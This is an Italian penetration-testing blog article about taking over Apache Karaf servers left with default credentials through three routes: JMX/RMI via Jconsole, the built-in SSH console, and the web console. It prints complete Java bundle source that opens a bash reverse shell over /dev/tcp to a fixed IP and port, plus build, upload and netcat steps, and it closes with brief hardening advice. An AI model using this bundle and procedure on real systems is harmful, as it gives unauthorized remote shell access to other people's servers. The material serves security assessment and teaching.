Violare Apache Karaf con tre diverse metodologie

Tempo di lettura: 7 minuti

Apache Karaf è un contenitore di applicazioni, può essere utilizzato come contenitore autonomo, supportando una vasta gamma di applicazioni e tecnologie. Supporta anche il concetto “run anywhere” (su qualsiasi macchina con Java, cloud, immagini docker, …) utilizzando la modalità embedded. Karaf viene principalmente utilizzato per microservizi, integrazione di sistemi, grandi dati ed è alimentato da OSGi.  

Molte volte, durante un assessment infrastrutturale, mi è capitato di incontrarlo, e nel 90% dei casi viene implementato in maniera insicura, lasciando la possibilità ad un attaccante di compromettere completamente il sistema. In questo articolo andremo a visionare i modi principali per riuscire a violare il servizio

Home page di Apache Karaf
Home page di Apache Karaf

NB: partiamo dall’assunzione che l’incauto amministratore del servizio abbia lasciato abilitate le credenziali di default, che sono

  • username: karaf
  • password: karaf

Cionondimeno, i seguenti procedimenti possono applicarsi anche in caso che l’attaccante conosca, per un qualunque motivo, una qualunque altra coppia di credenziali valide.

Introduzione

Quando viene avviato, di default Karaf attiva tre servizi diversi:

  • 1099 con Java RMI
  • 8101 dove risiede un client ssh con le stesse credenziali di prima
  • 8181 dove c’è la web console
Scansione delle porte
Scansione delle porte

Nella scansione effettuata possiamo vedere come i tre servizi indicati precedentemente sono aperti. Vediamoli uno ad uno.

Java RMI - Porte 1099 e 37175

Andando ad indagare la porta con nmap (comando: nmap -p1099 -sTV –script vuln,discovery IP) possiamo vedere come viene stampato il registro JMX. Karaf lo utilizza principalmente per effettuare monitoraggio della macchina virtuale e del sistema, ma un attaccante potrebbe sfruttarlo in maniera _completamente _diversa.

Informazioni sul registro RMI
Informazioni sul registro RMI

Per poterci connettere è necessario usare Jconsole ed inserire il seguente puntamento:

service:jmx:rmi://192.168.1.99:37175/jndi/rmi://192.168.1.99:1099/karaf-root

Dove la prima porta fa riferimento a JMX, mentre la seconda ad RMI.

Jconsole
Jconsole

Una volta connessi avremo davanti a noi moltissime informazioni sensibili, come la versione di OpenJDK, la versione del sistema operativo, e altre informazioni contenute nel tab MBeans.

VM Summary
VM Summary

Per ottenere una shell remota, dobbiamo andare a crearne una in Java. Per velocizzare il tutto ho deciso di seguire questa guida che si traduce (dopo aver installato mvn), nell’eseguire il comando

mvn archetype:generate -DarchetypeGroupId=org.apache.karaf.archetypes -DarchetypeArtifactId=karaf-bundle-archetype -DarchetypeVersion=2.2.11 -DgroupId=it.html.tutorial 
-DartifactId=karaf-helloworld -Dversion=1.0 -Dpackage=it.html.tutorial.karaf.helloworld

Una volta eseguito troveremo all’interno della cartella appena creata il nostro file Java contenente un classico HelloWorld.java. Visto che noi vogliamo creare una reverse shell, vado a sostituire il contenuto con questo codice

<code>import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;

public class Activator implements BundleActivator {

@Override
public void start(BundleContext bundleContext) throws Exception {
    System.out.println("STARTING");
    ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.99/8686;cat <&5 | while read line; do $line 2>&5 >&5; done");
    Process proc = pb.start();
}

@Override
public void stop(BundleContext bundleContext) throws Exception {
    System.out.println("STOPPING");
}
}</code>

E poi lo compiliamo con

mvn clean install
Compilazione del codice
Compilazione del codice

NB: durante la compilazione ho avuto due problemi:

  1. Usando la versione 13 di java sembra che dia problemi, quindi ho usato la 11 (con il comando sudo update-alternatives --config java)
  2. il pom.xml ha dato problemi e ho dovuto inserire queste due righe aggiuntive
Righe 4-7 aggiunte successivamente
Righe 4-7 aggiunte successivamente

Ora che abbiamo il file jar, ci basterà caricarlo all’interno del bundle in Jconsole (Nel path org.apache.karaf -> bundle -> root -> Operations -> install).  Per copiarlo dal mio host al target ho avviato un server con python sulla porta 9090

Upload della reverse shell
Upload della reverse shell

Cliccando su Install il file andrà ad installarsi all’interno dei bundles di Karaf

Bundle installato
Bundle installato

Per avviarlo, ci basterà:

  1. Avviare netcat sulla porta stabilita prima (8686)
  2. Avviare il jar tramite Jconsole inserendo il suo nome (karaf-helloworld)
Shell ottenuta!
Shell ottenuta!

Ed ecco che abbiamo ottenuto una shell in pochissimi passi.

SSH - Porta 8101

Come anticipavo prima, sulla porta 8101 è presente un server SSH gentilmente fornitoci da karaf che viene abilitato di default con le stesse credenziali di default

Client SSH di Karaf
Client SSH di Karaf

Per eseguire comandi basterà digitare

shell:exec CMD

e verranno eseguiti.

Per creare una reverse shell basterà quindi eseguirla direttamente da li, con netcat o il metodo che preferite

Reverse shell ottenuta!
Reverse shell ottenuta!

Interfaccia Web

Karaf sulla porta 8181 ha un’interfaccia web come Tomcat dalla quale possiamo effettuare lo stesso procedimento di prima, solo che in maniera molto più comoda.

Login di Apache Karaf
Login di Apache Karaf

Inseriamo le credenziali e andiamo al path /system/console/bundles (altrimenti il server da errore 403). Da qui, con lo stesso file creato precedentemente, andiamo ad installare un nuovo pacchetto tramite l’interfaccia

Installazione di un bundles
Installazione di un bundles

Avviamo netcat e startiamo il nuovo jar appena caricato

Reverse shell ottenuta!
Reverse shell ottenuta!

Conclusioni

Il problema di Karaf (come tanti altri software simili) è che se non vengono cambiate le impostazioni di default, esse attivano una serie di servizi dei quali lo sviluppatore/sistemista non è a conoscenza e permettono ad utenti esterni di sfruttarli a fini malevoli; vanno assolutamente disattivati se non utilizzati.

Nel remoto caso in cui servano, è sufficiente cambiare la password di default in modo da non permettere ad utenti non autorizzati di entrare nel sistema.

Di seguito alcuni articoli che mi hanno aiutato a studiare l’argomento:

  1. https://2xxe.com/posts/6/
  2. https://posts.specterops.io/shelling-apache-felix-with-java-bundles-2450d3a099a
  3. https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2017/february/compromising-apache-tomcat-via-jmx-access/
  4. https://quentinkaiser.be/pentesting/2018/02/13/osgi-console/